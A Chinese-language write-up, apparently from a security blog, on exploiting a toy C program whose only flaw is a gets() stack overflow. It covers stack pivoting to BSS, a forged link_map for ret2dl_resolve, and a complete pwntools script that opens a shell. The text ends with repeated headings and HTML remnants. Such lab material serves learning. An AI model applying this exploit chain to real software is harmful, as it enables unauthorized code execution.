仅有gets栈溢出漏洞的攻击方式技术分析<\/h1>

一、漏洞环境概述<\/h2>

1.1 漏洞代码<\/h3>
#include<\/span><stdio.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>void<\/span> stack_overflow<\/span>()
<\/span><\/span>{
<\/span><\/span>    char<\/span> buf[0x40<\/span>];
<\/span><\/span>    gets(buf);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>int<\/span> main<\/span>(){
<\/span><\/span>    stack_overflow();
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>1.2 编译方式<\/h3>
gcc -o pwn .\/pwn.c -no-pie -fno-stack-protector
<\/span><\/span><\/code><\/pre>1.3 漏洞特点<\/h3>

仅存在gets函数的栈溢出漏洞<\/li>
无输出函数（如write、printf等）<\/li>
无pop rdi等常用gadget<\/li>
无PIE保护，无栈保护<\/li>
<\/ul>
二、攻击技术原理<\/h2>
2.1 ret2dl_resolve技术基础<\/h3>
ret2dl_resolve是一种利用动态链接解析过程实现攻击的技术，其核心原理：<\/p>

动态链接过程<\/strong>：当程序第一次调用共享库函数时，会通过PLT\/GOT机制进行延迟绑定<\/li>
解析流程<\/strong>：_dl_runtime_resolve<\/code>函数负责解析函数地址并填充GOT表<\/li>
攻击点<\/strong>：通过伪造link_map结构体，控制解析过程执行目标函数<\/li>
<\/ol>
2.2 技术优势<\/h3>

无需泄露libc地址<\/li>
无需输出函数<\/li>
直接获取shell执行权限<\/li>
<\/ul>
三、攻击实现步骤<\/h2>
3.1 第一阶段：栈迁移控制<\/h3>
3.1.1 汇编代码分析<\/h4>
endbr64
push rbp
mov rbp, rsp
sub rsp, 40h
lea rax, [rbp+var_40]
mov rdi, rax
mov eax, 0
call _gets
nop
leave
retn
<\/code><\/pre>
3.1.2 利用思路<\/h4>
通过控制rbp寄存器实现栈迁移到BSS段：<\/p>
bss =<\/span> 0x404030<\/span> +<\/span> 0x700<\/span>
<\/span><\/span>payload =<\/span> b<\/span>'a'<\/span>*<\/span>0x40<\/span> +<\/span> p64(bss +<\/span> 0x40<\/span>) +<\/span> p64(0x401142<\/span>)
<\/span><\/span>p.<\/span>sendline(payload)
<\/span><\/span><\/code><\/pre>3.2 第二阶段：伪造link_map结构体<\/h3>
3.2.1 结构体伪造函数<\/h4>
def<\/span> fake_Linkmap_payload<\/span>(fake_linkmap_addr, known_func_ptr, offset):
<\/span><\/span>    linkmap =<\/span> p64(offset &<\/span> (2<\/span> **<\/span> 64<\/span> -<\/span> 1<\/span>))
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr +<\/span> 0x18<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64((fake_linkmap_addr +<\/span> 0x30<\/span> -<\/span> offset) &<\/span> (2<\/span> **<\/span> 64<\/span> -<\/span> 1<\/span>))
<\/span><\/span>    linkmap +=<\/span> p64(0x7<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(known_func_ptr -<\/span> 0x8<\/span>)
<\/span><\/span>    linkmap +=<\/span> b<\/span>'\/bin\/sh<\/span>\x00<\/span>'<\/span>
<\/span><\/span>    linkmap =<\/span> linkmap.<\/span>ljust(0x68<\/span>, b<\/span>'A'<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr +<\/span> 0x38<\/span>)
<\/span><\/span>    linkmap =<\/span> linkmap.<\/span>ljust(0xf8<\/span>, b<\/span>'A'<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr +<\/span> 0x8<\/span>)
<\/span><\/span>    return<\/span> linkmap
<\/span><\/span><\/code><\/pre>3.2.2 关键参数说明<\/h4>

fake_linkmap_addr<\/code>：伪造结构体在BSS段的地址<\/li>
known_func_ptr<\/code>：已知函数GOT地址（如gets）<\/li>
offset<\/code>：目标函数与已知函数的偏移量（如system-gets）<\/li>
<\/ul>
3.3 第三阶段：ROP链构造<\/h3>
3.3.1 ROP payload构造<\/h4>
gets_got =<\/span> elf.<\/span>got['gets'<\/span>]
<\/span><\/span>l_addr =<\/span> libc.<\/span>sym['system'<\/span>] -<\/span> libc.<\/span>sym['gets'<\/span>]
<\/span><\/span>plt_load =<\/span> 0x401026<\/span>
<\/span><\/span>gets =<\/span> elf.<\/span>plt['gets'<\/span>]
<\/span><\/span>
<\/span><\/span>bss_stage =<\/span> bss +<\/span> 0x100<\/span>
<\/span><\/span>fake_link_map =<\/span> fake_Linkmap_payload(bss_stage, gets_got, l_addr)
<\/span><\/span>
<\/span><\/span>payload =<\/span> b<\/span>'a'<\/span>*<\/span>0x48<\/span> +<\/span> p64(gets) +<\/span> p64(plt_load) +<\/span> p64(bss_stage)
<\/span><\/span>payload =<\/span> payload.<\/span>ljust(0x100<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>)
<\/span><\/span>payload +=<\/span> fake_link_map
<\/span><\/span>p.<\/span>sendline(payload)
<\/span><\/span><\/code><\/pre>3.3.2 参数传递技巧<\/h4>
p.<\/span>sendline(b<\/span>'\/bin'<\/span> +<\/span> p8(u8(b<\/span>"\/"<\/span>) +<\/span> 1<\/span>) +<\/span> b<\/span>'sh<\/span>\x00<\/span>'<\/span>)
<\/span><\/span><\/code><\/pre>四、关键技术问题与解决方案<\/h2>
4.1 BSS段地址选择问题<\/h3>
问题描述<\/strong>：动态调试时发现调用延迟绑定相关函数时，寄存器出现异常值导致程序执行失败。<\/p>
解决方案<\/strong>：增加BSS段偏移量<\/p>
bss =<\/span> 0x404030<\/span> +<\/span> 0x700<\/span>  # 而非直接使用0x404030<\/span>
<\/span><\/span><\/code><\/pre>4.2 字符串格式调整<\/h3>
问题描述<\/strong>：特定位置字符需要调整以满足程序要求。<\/p>
解决方案<\/strong>：对第5位字符进行+1操作<\/p>
b<\/span>'\/bin'<\/span> +<\/span> p8(u8(b<\/span>"\/"<\/span>) +<\/span> 1<\/span>) +<\/span> b<\/span>'sh<\/span>\x00<\/span>'<\/span>
<\/span><\/span><\/code><\/pre>4.3 结构体伪造模板选择<\/h3>
问题描述<\/strong>：不同版本的ROP模板可能不兼容。<\/p>
解决方案<\/strong>：使用经过验证的可调整版本模板。<\/p>
五、完整EXP代码<\/h2>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>filename =<\/span> '.\/pwn'<\/span>
<\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span>
<\/span><\/span>elf =<\/span> ELF(filename)
<\/span><\/span>libc =<\/span> elf.<\/span>libc
<\/span><\/span>p =<\/span> process(filename)
<\/span><\/span>
<\/span><\/span>def<\/span> fake_Linkmap_payload<\/span>(fake_linkmap_addr, known_func_ptr, offset):
<\/span><\/span>    linkmap =<\/span> p64(offset &<\/span> (2<\/span> **<\/span> 64<\/span> -<\/span> 1<\/span>))
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr +<\/span> 0x18<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64((fake_linkmap_addr +<\/span> 0x30<\/span> -<\/span> offset) &<\/span> (2<\/span> **<\/span> 64<\/span> -<\/span> 1<\/span>))
<\/span><\/span>    linkmap +=<\/span> p64(0x7<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(0<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(known_func_ptr -<\/span> 0x8<\/span>)
<\/span><\/span>    linkmap +=<\/span> b<\/span>'\/bin\/sh<\/span>\x00<\/span>'<\/span>
<\/span><\/span>    linkmap =<\/span> linkmap.<\/span>ljust(0x68<\/span>, b<\/span>'A'<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr +<\/span> 0x38<\/span>)
<\/span><\/span>    linkmap =<\/span> linkmap.<\/span>ljust(0xf8<\/span>, b<\/span>'A'<\/span>)
<\/span><\/span>    linkmap +=<\/span> p64(fake_linkmap_addr +<\/span> 0x8<\/span>)
<\/span><\/span>    return<\/span> linkmap
<\/span><\/span>
<\/span><\/span>gets_got =<\/span> elf.<\/span>got['gets'<\/span>]
<\/span><\/span>l_addr =<\/span> libc.<\/span>sym['system'<\/span>] -<\/span> libc.<\/span>sym['gets'<\/span>]
<\/span><\/span>plt_load =<\/span> 0x401026<\/span>
<\/span><\/span>gets =<\/span> elf.<\/span>plt['gets'<\/span>]
<\/span><\/span>bss =<\/span> 0x404030<\/span> +<\/span> 0x700<\/span>
<\/span><\/span>
<\/span><\/span># 第一阶段：栈迁移<\/span>
<\/span><\/span>payload =<\/span> b<\/span>'a'<\/span>*<\/span>0x40<\/span> +<\/span> p64(bss +<\/span> 0x40<\/span>) +<\/span> p64(0x401142<\/span>)
<\/span><\/span>p.<\/span>sendline(payload)
<\/span><\/span>
<\/span><\/span># 第二阶段：构造ROP和伪造结构体<\/span>
<\/span><\/span>bss_stage =<\/span> bss +<\/span> 0x100<\/span>
<\/span><\/span>fake_link_map =<\/span> fake_Linkmap_payload(bss_stage, gets_got, l_addr)
<\/span><\/span>payload =<\/span> b<\/span>'a'<\/span>*<\/span>0x48<\/span> +<\/span> p64(gets) +<\/span> p64(plt_load) +<\/span> p64(bss_stage)
<\/span><\/span>payload =<\/span> payload.<\/span>ljust(0x100<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>)
<\/span><\/span>payload +=<\/span> fake_link_map
<\/span><\/span>p.<\/span>sendline(payload)
<\/span><\/span>
<\/span><\/span># 第三阶段：传递参数<\/span>
<\/span><\/span>p.<\/span>sendline(b<\/span>'\/bin'<\/span> +<\/span> p8(u8(b<\/span>"\/"<\/span>) +<\/span> 1<\/span>) +<\/span> b<\/span>'sh<\/span>\x00<\/span>'<\/span>)
<\/span><\/span>p.<\/span>interactive()
<\/span><\/span><\/code><\/pre>六、技术要点总结<\/h2>

栈迁移技术<\/strong>：通过控制rbp实现执行流重定向到可控的BSS段<\/li>
结构体伪造<\/strong>：精确构造link_map结构体控制动态链接解析过程<\/li>
参数传递<\/strong>：利用ret2gets技术控制rdi寄存器指向"\/bin\/sh"字符串<\/li>
地址计算<\/strong>：正确计算函数偏移量和BSS段安全地址<\/li>
<\/ol>
该攻击方式在极其有限的漏洞条件下（仅有gets栈溢出）实现了完整的攻击链，展现了高级二进制漏洞利用技术的精妙之处。<\/p>
仅有gets栈溢出漏洞的攻击方式技术分析<\/h1>

一、漏洞环境概述<\/h2>

二、攻击技术原理<\/h2>

三、攻击实现步骤<\/h2>

3.1 第一阶段：栈迁移控制<\/h3>

3.2 第二阶段：伪造link_map结构体<\/h3>

3.3 第三阶段：ROP链构造<\/h3>

四、关键技术问题与解决方案<\/h2>

4.3 结构体伪造模板选择<\/h3> 问题描述<\/strong>：不同版本的ROP模板可能不兼容。<\/p> 解决方案<\/strong>：使用经过验证的可调整版本模板。<\/p>

4.3 结构体伪造模板选择<\/h3>
问题描述<\/strong>：不同版本的ROP模板可能不兼容。<\/p>
解决方案<\/strong>：使用经过验证的可调整版本模板。<\/p>
